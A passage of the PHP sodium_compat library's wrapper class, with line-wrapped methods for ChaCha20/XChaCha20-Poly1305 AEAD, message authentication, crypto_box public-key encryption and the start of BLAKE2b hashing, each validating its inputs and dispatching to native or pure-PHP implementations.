     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt'))
{
            return call_user_func(
               
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt'))
{
            return (string) call_user_func(
               
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return
random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData    Authenticated Associated Data
(unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8
bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if
(is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt'))
{
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return
ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data
(unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8
bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if
(is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt'))
{
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return
ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return
random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string)
call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with
crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting
to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify($mac, $message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !==
self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool)
call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message,
$key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and
recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's
public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box($plaintext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce,
$keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string)
call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce,
$keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt
messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal($plaintext, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_seal', $plaintext,
$publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open($ciphertext, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return
call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext,
$keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext,
$keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key,
while
     *                the last 32 are your public key.
crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so
you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that
expect
     * a keypair. This doesn't necessarily have to be the same
person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function
crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
        }
        if
(self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey'))
{
            return (string)
call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey',
$secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
        }
        return
ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey,
$publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24
bytes
     * @param string $keypair    Your secret key and the sender's
public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open($ciphertext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open',
$ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce,
$keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce,
$keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string)
sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if
(self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey',
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return
ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair($seed)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between
16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between
16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash($message, $key =
'', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) <
self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must
be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) >
self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must
be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key,
$length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string)
call_user_func('\\Sodium\\crypto_generichash', $message, $key,
$length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key,
$length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key,
$length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by
crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(&$ctx, $length =
self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if ($length < 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return '';
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx,
$length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx,
$length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming
interface.
     *
     * @param string|null $key If specified must be a string between 16 and
64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a
string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init($key = '',
$length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) <
self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must
be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) >
self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must
be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
